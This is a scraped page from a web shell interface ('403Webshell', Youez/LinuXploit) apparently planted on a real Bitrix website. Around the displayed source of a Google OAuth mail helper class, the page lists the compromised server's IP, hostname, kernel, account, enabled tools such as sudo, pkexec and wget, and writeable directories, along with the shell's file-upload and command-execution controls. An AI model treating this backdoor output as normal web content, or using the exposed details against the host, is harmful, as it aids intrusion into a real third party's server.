403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/mail/lib/helper/oauth/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/mail/lib/helper/oauth/google.php
<?php

namespace Bitrix\Mail\Helper\OAuth;

use Bitrix\Main;
use Bitrix\Mail;

class Google extends Mail\Helper\OAuth
{

	protected function __construct()
	{
		$this->oauthEntity = new GoogleInterface;

		$this->oauthEntity->setScope(array(
			'email',
			'https://mail.google.com/',
		));
	}

	protected function check()
	{
		$provider = new \CSocServGoogleOAuth;

		return $provider->checkSettings();
	}

	protected function mapUserData(array $userData)
	{
		return array(
			'email' => $userData['email'],
			'first_name' => $userData['given_name'],
			'last_name' => $userData['family_name'],
			'full_name' => $userData['name'],
			'image' => $userData['picture'],
			'error' => $userData['error']['message'],
		);
	}

	public static function getServiceName()
	{
		return 'google';
	}

	public function getControllerUrl()
	{
		return \CSocServAuth::getControllerUrl();
	}

}

if (Main\Loader::includeModule('socialservices'))
{
	class GoogleInterface extends \CGoogleOAuthInterface
	{

		public function getStorageTokens()
		{
			return false;
		}

		public function getTokenData()
		{
			return array(
				'access_token' => $this->access_token,
				'refresh_token' => $this->refresh_token,
				'expires_in' => $this->accessTokenExpires,
			);
		}

	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit